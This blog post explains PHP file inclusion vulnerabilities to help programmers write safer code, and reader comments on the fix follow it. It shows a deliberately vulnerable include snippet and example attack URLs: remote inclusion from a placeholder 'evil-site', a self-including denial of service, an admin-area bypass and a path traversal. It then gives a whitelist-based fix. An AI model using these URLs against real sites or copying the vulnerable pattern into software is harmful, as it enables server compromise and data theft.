// you’re reading...

Infosecurity

Exploiting web development worst practices: file inclusion

This article is part of a series that I hope helps programmers code more secure websites, the previous article being about SQL inclusion.

File inclusion exploit

Consider the following PHP code:

$page = $_REQUEST['page'];
include($page . '.php');

At first it seems like it has the marks of a good, simple, well-extendable code. You just have to create new PHP files to add new commands to this application, isn’t that good?

Yes, that part is good. The problem is, some of PHP’s features are too powerful to be safe. An attacker could craft an URL like this:

http://your-app/index.php?page=http://evil-site/malicious-code

Photo courtesy of clintjcl

And then PHP code that he has written will get executed on your server. It could do almost anything. Download any file you store on the server. Change other users’ sessions, changing their preferences, putting things into their shopping cart, etc. Access the database, stealing passwords (you do store passwords encrypted, I hope?), stealing e-mail addresses, residential addresses, whatever you store on the database. It can create new files, uploading viruses or phishing websites.

Another way to exploit code like that, even if remote file inclusion is disabled, is to include local files. As one obvious example, how much load will this put on your server?

http://your-app/index.php?page=index

Yes, a lot. PHP scripts by default time out after 30 seconds, that leaves a lot of time for this code to spend in an endless loop, maxing out both CPU and memory usage. And it doesn’t take a lot to start up a few hundreds of this, effectively DOS-ing (“Denial Of Service”) all the websites on that server, disabling commerce, and disrupting operations like email and the Intranet, if they are on the same server.

Or, suppose you put the administration area in a predictable directory, then used .htaccess to protect it:

http://your-app/index.php?page=admin/index

.htaccess doesn’t protect your admin area now, since it works on the webserver level, and not on the PHP level.

Or suppose that they know (or guess) the name of some other PHP file:

http://your-app/index.php?page=../../../../../../../../home/otheruser/othersite/index

How to avoid file inclusion exploits?

Don’t assume that anything that comes from the user can be trusted (again). Write your code like this, however tedious it seems:

$page = $_REQUEST['page'];
switch ($page) {
  case 'products':
    include('products.inc');
    break;
  case 'login':
    include('login.inc');
    break;
}

Also notice that I’ve changed the included file extension from .php to .inc. It’s to avoid having somebody directly call those PHP files.

Further reading:

Remote File inclusion at the Web Application Security Consortium

About the author: Kristóf Kovács is a freelance computer technology architect and project leader. You can rent his brain as your advisor, or you can hire him to help you in your projects. His ventures include a mobile entertaiment company (Mobile Planet Ltd), and a boutique software development house (Online Projects Ltd). Follow him on Twitter!

Discussion


2 brilliant comments for “Exploiting web development worst practices: file inclusion”

  1. A better approach will be

    switch ($page) {
    case 1:
    include(‘products.inc’);
    break;
    case 2:
    include(‘login.inc’);
    break;
    }

    since the hacker could come to know that if he passes the $_GET variable ‘login’ the script will open login.inc and ‘products’ then products.inc will open and so on..

    Freelance Programmer

    Posted by Chris | January 25, 2010, 08:32
  2. I don’t agree with your comment, Chris. There is no harm coming from knowing what page will load (it will be seen, anyway), BUT with the numeric ID you give the opportunity to experiment (trying different numbers is easier than trying different words).

    Also, “?page=products” is at least a bit more SEO-friendly URL than “?page=7″.

    Kristof

    P.s.: While I support every freelance programmer, you must surely know that WordPress puts a “rel=nofollow” into your the links you put in your comments anyway, so leaving links on WP blogs is not increasing your PageRank on Google, but it “feels” a bit spammy. Just you know. :)

    Posted by Kristóf | January 26, 2010, 08:44

Post a comment

Spam Protection by WP-SpamFree

Keep in touch!